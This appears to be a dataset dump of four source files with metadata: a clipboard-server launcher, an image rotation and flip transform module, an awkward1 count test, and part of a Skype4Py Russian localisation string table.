| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d0a685e27bcc7af1c8b5d9c81eaeac5f5acee48a
| 125
|
py
|
Python
|
src/witaker/clipboardserver/gui/__main__.py
|
cathalmcginley/witaker-clipboard-server
|
39d4c696e468856135bab908a7dad16f3fb76782
|
[
"Apache-2.0"
] | null | null | null |
src/witaker/clipboardserver/gui/__main__.py
|
cathalmcginley/witaker-clipboard-server
|
39d4c696e468856135bab908a7dad16f3fb76782
|
[
"Apache-2.0"
] | null | null | null |
src/witaker/clipboardserver/gui/__main__.py
|
cathalmcginley/witaker-clipboard-server
|
39d4c696e468856135bab908a7dad16f3fb76782
|
[
"Apache-2.0"
] | null | null | null |
from witaker.clipboardserver.gui import clipboard_server_gui_main
if __name__ == "__main__":
clipboard_server_gui_main()
| 31.25
| 65
| 0.824
| 16
| 125
| 5.5625
| 0.625
| 0.337079
| 0.404494
| 0.494382
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104
| 125
| 4
| 66
| 31.25
| 0.794643
| 0
| 0
| 0
| 0
| 0
| 0.063492
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
d0dcc7003a56814737f3cc00a096af65bdd8a967
| 20,557
|
py
|
Python
|
src/onevision/cv/imgproc/transformation/rotation.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | 2
|
2022-03-28T09:46:38.000Z
|
2022-03-28T14:12:32.000Z
|
src/onevision/cv/imgproc/transformation/rotation.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | null | null | null |
src/onevision/cv/imgproc/transformation/rotation.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
"""
from __future__ import annotations
from typing import Optional
from typing import Union
import numpy as np
from torch import nn
from torch import Tensor
from torchvision.transforms import InterpolationMode
from torchvision.transforms.functional import hflip
from torchvision.transforms.functional import vflip
from onevision.cv.core import PaddingMode
from onevision.cv.imgproc.transformation.affine import affine
from onevision.cv.imgproc.transformation.affine import affine_image_box
from onevision.factory import TRANSFORMS
from onevision.type import FloatAnyT
from onevision.type import ListOrTuple2T
from onevision.type import TensorOrArray
__all__ = [
"rotate",
"rotate_image_box",
"rotate_hflip",
"rotate_vflip",
"Rotate",
"RotateHflip",
"RotateVflip",
]
# MARK: - Functional
def rotate(
image : TensorOrArray,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
) -> Tensor:
"""Rotate a tensor image or a batch of tensor images. Input must be a
tensor of shape [C, H, W] or a batch of tensors [*, C, H, W].
Args:
image (TensorOrArray[*, C, H, W]):
Image to be rotated.
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image. Default: `True`.
Note that the `keep_shape` flag assumes rotation around the center
and no translation.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
Returns:
image (TensorOrArray[*, C, H, W]):
Rotated image.
"""
if isinstance(image, Tensor):
return affine(
image = image,
angle = angle,
translate = [0, 0],
scale = 1.0,
shear = [0, 0],
center = center,
interpolation = interpolation,
keep_shape = keep_shape,
pad_mode = pad_mode,
fill = fill,
)
elif isinstance(image, np.ndarray):
return affine(
image = image,
angle = angle,
translate = [0, 0],
scale = 1.0,
shear = [0, 0],
center = center,
interpolation = interpolation,
keep_shape = keep_shape,
pad_mode = pad_mode,
fill = fill,
)
else:
raise ValueError(f"Do not support {type(image)}.")
def rotate_image_box(
image : TensorOrArray,
box : TensorOrArray,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
drop_ratio : float = 0.0
) -> tuple[TensorOrArray, TensorOrArray]:
"""Rotate a tensor image or a batch of tensor images. Input must be a
tensor of shape [C, H, W] or a batch of tensors [*, C, H, W].
Args:
image (TensorOrArray[*, C, H, W]):
Image to be rotated.
box (TensorOrArray[B, 4]):
Bounding boxes to be rotated.
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
drop_ratio (float):
If the fraction of a bounding box left in the image after being
clipped is less than `drop_ratio` the bounding box is dropped.
If `drop_ratio==0`, don't drop any bounding boxes. Default: `0.0`.
Returns:
image (TensorOrArray[*, C, H, W]):
Rotated image.
box (TensorOrArray[B, 4]):
Rotated bounding boxes.
"""
if image.ndim != 3:
raise ValueError("Currently only support image with `ndim == 3`.")
return affine_image_box(
image = image,
box = box,
angle = angle,
translate = [0, 0],
scale = 1.0,
shear = [0, 0],
center = center,
interpolation = interpolation,
keep_shape = keep_shape,
pad_mode = pad_mode,
fill = fill,
drop_ratio = drop_ratio,
)
def rotate_hflip(
image : TensorOrArray,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
) -> TensorOrArray:
"""Rotate a tensor image or a batch of tensor images and then horizontally
flip.
Args:
image (TensorOrArray[B, C, H, W]):
Image to be rotated and flipped.
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
Returns:
image (TensorOrArray[B, C, H, W]):
Rotated and flipped image.
"""
image = rotate(
image = image,
angle = angle,
center = center,
interpolation = interpolation,
keep_shape = keep_shape,
pad_mode = pad_mode,
fill = fill,
)
return hflip(image)
def rotate_vflip(
image : TensorOrArray,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
) -> TensorOrArray:
"""Rotate a tensor image or a batch of tensor images and then vertically
flip.
Args:
image (TensorOrArray[B, C, H, W]):
Image to be rotated and flipped.
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
Returns:
image (TensorOrArray[B, C, H, W]):
Rotated and flipped image.
"""
image = rotate(
image = image,
angle = angle,
center = center,
interpolation = interpolation,
keep_shape = keep_shape,
pad_mode = pad_mode,
fill = fill,
)
return vflip(image)
# MARK: - Modules
@TRANSFORMS.register(name="rotate")
class Rotate(nn.Module):
"""Rotate a tensor image or a batch of tensor images.
Args:
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
"""
# MARK: Magic Functions
def __init__(
self,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
):
super().__init__()
self.angle = angle
self.center = center
self.interpolation = interpolation
self.keep_shape = keep_shape
self.pad_mode = pad_mode
self.fill = fill
# MARK: Forward Pass
def forward(self, image: TensorOrArray) -> TensorOrArray:
"""
Args:
image (TensorOrArray[B, C, H, W]):
Image to be rotated.
Returns:
image (TensorOrArray[B, C, H, W]):
Rotated image.
"""
return rotate(
image = image,
angle = self.angle,
center = self.center,
interpolation = self.interpolation,
keep_shape = self.keep_shape,
pad_mode = self.pad_mode,
fill = self.fill,
)
@TRANSFORMS.register(name="rotate_hflip")
class RotateHflip(nn.Module):
"""Rotate a tensor image or a batch of tensor images and then horizontally
flip.
Args:
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
"""
# MARK: Magic Functions
def __init__(
self,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
):
super().__init__()
self.angle = angle
self.center = center
self.interpolation = interpolation
self.keep_shape = keep_shape
self.pad_mode = pad_mode
self.fill = fill
# MARK: Forward Pass
def forward(self, image: TensorOrArray) -> TensorOrArray:
"""
Args:
image (TensorOrArray[B, C, H, W]):
Image to be rotated and horizontally flipped.
Returns:
image (TensorOrArray[B, C, H, W]):
Rotated and horizontally flipped image.
"""
return rotate_hflip(
image = image,
angle = self.angle,
center = self.center,
interpolation = self.interpolation,
keep_shape = self.keep_shape,
pad_mode = self.pad_mode,
fill = self.fill,
)
@TRANSFORMS.register(name="rotate_vflip")
class RotateVflip(nn.Module):
"""Rotate a tensor image or a batch of tensor images and then vertically
flip.
Args:
angle (float):
Angle to rotate the image.
center (ListOrTuple2T[int], optional):
Center of affine transformation. If `None`, use the center of the
image. Default: `None`.
interpolation (InterpolationMode):
Desired interpolation enum defined by
:class:`torchvision.transforms.InterpolationMode`.
Default is `InterpolationMode.NEAREST`.
If input is Tensor, only `InterpolationMode.NEAREST`,
`InterpolationMode.BILINEAR` are supported. For backward
compatibility integer values (e.g. `PIL.Image.NEAREST`) are still
acceptable.
keep_shape (bool):
If `True`, expands the output image to make it large enough to
hold the entire rotated image.
If `False` or omitted, make the output image the same size as the
input image.
Note that the `keep_shape` flag assumes rotation around the center
and no translation. Default: `True`.
pad_mode (PaddingMode, str):
One of the padding modes defined in `PaddingMode`.
Default: `constant`.
fill (FloatAnyT, optional):
Pixel fill value for the area outside the transformed image.
If given a number, the value is used for all bands respectively.
"""
# MARK: Magic Functions
def __init__(
self,
angle : float,
center : Optional[ListOrTuple2T[int]] = None,
interpolation: InterpolationMode = InterpolationMode.BILINEAR,
keep_shape : bool = True,
pad_mode : Union[PaddingMode, str] = "constant",
fill : Optional[FloatAnyT] = None,
):
super().__init__()
self.angle = angle
self.center = center
self.interpolation = interpolation
self.keep_shape = keep_shape
self.pad_mode = pad_mode
self.fill = fill
# MARK: Forward Pass
def forward(self, image: TensorOrArray) -> TensorOrArray:
"""
Args:
image (TensorOrArray[B, C, H, W]):
Image to be rotated and vertically flipped.
Returns:
image (TensorOrArray[B, C, H, W]):
Rotated and vertically flipped image.
"""
return rotate_vflip(
image = image,
angle = self.angle,
center = self.center,
interpolation = self.interpolation,
keep_shape = self.keep_shape,
pad_mode = self.pad_mode,
fill = self.fill,
)
| 38.281192
| 81
| 0.565549
| 2,126
| 20,557
| 5.405927
| 0.08984
| 0.033673
| 0.004699
| 0.017402
| 0.889846
| 0.882276
| 0.882276
| 0.882276
| 0.864961
| 0.864961
| 0
| 0.003266
| 0.359488
| 20,557
| 536
| 82
| 38.352612
| 0.869598
| 0.546821
| 0
| 0.7109
| 0
| 0
| 0.029171
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.047393
| false
| 0
| 0.075829
| 0
| 0.175355
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d0f48a44b8abbb1cbc3f65604b59650d8eeb5f83
| 2,121
|
py
|
Python
|
tests/test_0222-count-with-axis0.py
|
sjperkins/awkward-1.0
|
75dbd5d06a012ff9d1da56f898b747cea2b1d2a9
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_0222-count-with-axis0.py
|
sjperkins/awkward-1.0
|
75dbd5d06a012ff9d1da56f898b747cea2b1d2a9
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_0222-count-with-axis0.py
|
sjperkins/awkward-1.0
|
75dbd5d06a012ff9d1da56f898b747cea2b1d2a9
|
[
"BSD-3-Clause"
] | null | null | null |
# BSD 3-Clause License; see https://github.com/scikit-hep/awkward-1.0/blob/master/LICENSE
from __future__ import absolute_import
import sys
import pytest
import numpy
import awkward1
def test():
nums = [[17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [17, 11, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
sample = []
for outer in nums:
sample.append([])
for inner in outer:
sample[-1].append([0] * inner)
assert awkward1.is_valid(awkward1.count(sample, axis=0))
| 101
| 1,722
| 0.400754
| 614
| 2,121
| 1.374593
| 0.065147
| 0.829384
| 1.208531
| 1.563981
| 0.683649
| 0.683649
| 0.683649
| 0.683649
| 0.683649
| 0.683649
| 0
| 0.397558
| 0.305045
| 2,121
| 20
| 1,723
| 106.05
| 0.175034
| 0.041018
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 1
| 0.076923
| false
| 0
| 0.384615
| 0
| 0.461538
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
d0f4fa8047ca25d893bf2ae3d0183e7d36029c8c
| 19,299
|
py
|
Python
|
Skype4Py/lang/ru.py
|
low456high/Skype4Py
|
c48d83f7034109fe46315d45a066126002c6e0d4
|
[
"BSD-3-Clause"
] | 199
|
2015-12-07T12:26:23.000Z
|
2022-02-03T17:12:37.000Z
|
Skype4Py/lang/ru.py
|
low456high/Skype4Py
|
c48d83f7034109fe46315d45a066126002c6e0d4
|
[
"BSD-3-Clause"
] | 49
|
2015-12-07T15:26:00.000Z
|
2021-06-07T20:10:58.000Z
|
Skype4Py/lang/ru.py
|
low456high/Skype4Py
|
c48d83f7034109fe46315d45a066126002c6e0d4
|
[
"BSD-3-Clause"
] | 74
|
2015-12-19T22:07:02.000Z
|
2022-03-09T04:48:32.000Z
|
apiAttachAvailable = u'\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0418\u041f\u041f'
apiAttachNotAvailable = u'\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d'
apiAttachPendingAuthorization = u'\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438'
apiAttachRefused = u'\u041e\u0442\u043a\u0430\u0437'
apiAttachSuccess = u'\u0423\u0434\u0430\u043b\u043e\u0441\u044c!'
apiAttachUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
budDeletedFriend = u'\u0423\u0434\u0430\u043b\u0435\u043d \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u0434\u0440\u0443\u0437\u0435\u0439'
budFriend = u'\u0414\u0440\u0443\u0433'
budNeverBeenFriend = u'\u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0431\u044b\u043b \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0434\u0440\u0443\u0437\u0435\u0439'
budPendingAuthorization = u'\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438'
budUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cfrBlockedByRecipient = u'\u0417\u0432\u043e\u043d\u043e\u043a \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c'
cfrMiscError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430'
cfrNoCommonCodec = u'\u041d\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0435\u043a\u0430'
cfrNoProxyFound = u'\u041f\u0440\u043e\u043a\u0441\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d'
cfrNotAuthorizedByRecipient = u'\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c'
cfrRecipientNotFriend = u'\u041f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0434\u0440\u0443\u0433'
cfrRemoteDeviceError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0432\u0443\u043a\u0430 \u0443 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0430'
cfrSessionTerminated = u'\u0421\u0432\u044f\u0437\u044c \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u0430'
cfrSoundIOError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0432\u0443\u043a\u0430'
cfrSoundRecordingError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u0443\u043a\u0430'
cfrUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cfrUserDoesNotExist = u'\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c/\u043d\u043e\u043c\u0435\u0440 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442'
cfrUserIsOffline = u'\u041e\u043d/\u041e\u043d\u0430 \u043d\u0435 \u0432 \u0441\u0435\u0442\u0438'
chsAllCalls = u'\u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430'
chsDialog = u'\u0414\u0438\u0430\u043b\u043e\u0433'
chsIncomingCalls = u'\u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c\u0438'
chsLegacyDialog = u'\u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430'
chsMissedCalls = u'\u0414\u0438\u0430\u043b\u043e\u0433'
chsMultiNeedAccept = u'\u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c\u0438'
chsMultiSubscribed = u'\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0448\u043b\u043e \u0432 \u0447\u0430\u0442'
chsOutgoingCalls = u'\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0448\u043b\u043e \u0432 \u0447\u0430\u0442'
chsUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
chsUnsubscribed = u'\u041d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u043c'
clsBusy = u'\u0417\u0430\u043d\u044f\u0442'
clsCancelled = u'\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c'
clsEarlyMedia = u'\u041f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 (Early Media)'
clsFailed = u'\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0437\u0432\u043e\u043d\u043e\u043a \u043d\u0435 \u0443\u0434\u0430\u043b\u0441\u044f'
clsFinished = u'\u041a\u043e\u043d\u0435\u0446'
clsInProgress = u'\u0418\u0434\u0435\u0442 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440'
clsLocalHold = u'\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0437\u0432\u043e\u043d\u043a\u0430'
clsMissed = u'\u041f\u0440\u043e\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u0437\u0432\u043e\u043d\u043e\u043a'
clsOnHold = u'\u0412 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438'
clsRefused = u'\u041e\u0442\u043a\u0430\u0437'
clsRemoteHold = u'\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0437\u0432\u043e\u043d\u043a\u0430'
clsRinging = u'\u0437\u0432\u043e\u043d\u0438\u0442'
